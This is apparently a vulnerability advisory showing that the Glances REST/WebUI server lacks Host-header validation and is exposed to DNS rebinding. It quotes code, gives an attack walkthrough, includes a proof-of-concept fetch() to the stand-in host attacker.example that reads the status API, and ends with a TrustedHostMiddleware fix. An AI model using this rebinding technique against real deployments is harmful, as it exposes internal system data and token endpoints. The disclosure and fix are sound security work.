Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding

Summary

Glances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary Host headers and does not apply TrustedHostMiddleware or an equivalent host allowlist.

As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.

This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.

Details

The MCP endpoint now has explicit host-based transport security:

# glances/outputs/glances_mcp.py
self.mcp_allowed_hosts = ["localhost", "127.0.0.1"]
...
return TransportSecuritySettings(
    allowed_hosts=allowed_hosts,
    allowed_origins=allowed_origins,
)

However, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:

# glances/outputs/glances_restful_api.py
self._app = FastAPI(default_response_class=GlancesJSONResponse)
...
self._app.add_middleware(
    CORSMiddleware,
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
...
if self.args.password and self._jwt_handler is not None:
    self._app.include_router(self._token_router())
self._app.include_router(self._router())

There is no TrustedHostMiddleware, no comparison against the configured bind host, and no allowlist enforcement for HTTP Host values on the REST/WebUI surface.

The default bind configuration also exposes the service on all interfaces:

# glances/main.py
parser.add_argument(
    '-B',
    '--bind',
    default='0.0.0.0',
    dest='bind_address',
    help='bind server to the given IPv4/IPv6 address or hostname',
)

This combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.

The token endpoint is also mounted on the same unprotected FastAPI app:

# glances/outputs/glances_restful_api.py
def _token_router(self) -> APIRouter:
    ...
    router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])

Why This Is Exploitable

In a DNS rebinding attack:

1. The attacker serves JavaScript from https://attacker.example.
2. The victim visits that page while a Glances instance is reachable on the victim network.
3. The attacker's DNS for attacker.example is rebound from the attacker's server to the Glances IP address.
4. The victim browser now sends same-origin requests to https://attacker.example, but those requests are delivered to Glances.
5. Because the Glances REST/WebUI app does not validate the Host header or enforce an allowed-host policy, it serves the response.
6. The attacker-controlled JavaScript can read the response as same-origin content.

The MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.

Proof of Concept

This issue is code-validated by inspection of the current implementation:

• REST/WebUI/token are all mounted on a plain FastAPI(...) app
• no TrustedHostMiddleware or equivalent host validation is applied
• default bind is 0.0.0.0
• MCP has separate rebinding protection, showing the project already recognizes the threat model

In a live deployment, the expected verification is:

# Victim-accessible Glances service
glances -w

# Attacker-controlled rebinding domain first resolves to attacker infra,
# then rebinds to the victim-local Glances IP.
# After rebind, attacker JS can fetch:
fetch("http://attacker.example:61208/api/4/status")
  .then(r => r.text())
  .then(console.log)

And if the operator exposes Glances without --password (supported and common), the attacker can read endpoints such as:

GET /api/4/status
GET /api/4/all
GET /api/4/config
GET /api/4/args
GET /api/4/serverslist

Even on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.

Impact

• Remote read of local/internal REST data: DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.
• Bypass of origin-based browser isolation: Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.
• High-value chaining surface: This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.
• Token surface exposure: The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.

Recommended Fix

Apply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:

from starlette.middleware.trustedhost import TrustedHostMiddleware

allowed_hosts = config.get_list_value(
    'outputs',
    'allowed_hosts',
    default=['localhost', '127.0.0.1'],
)

self._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)

At minimum:

• reject requests whose Host header does not match an explicit allowlist
• do not rely on 0.0.0.0 bind semantics as an access-control boundary
• document that reverse-proxy deployments must set a strict host allowlist

References

• glances/outputs/glances_mcp.py
• glances/outputs/glances_restful_api.py
• glances/main.py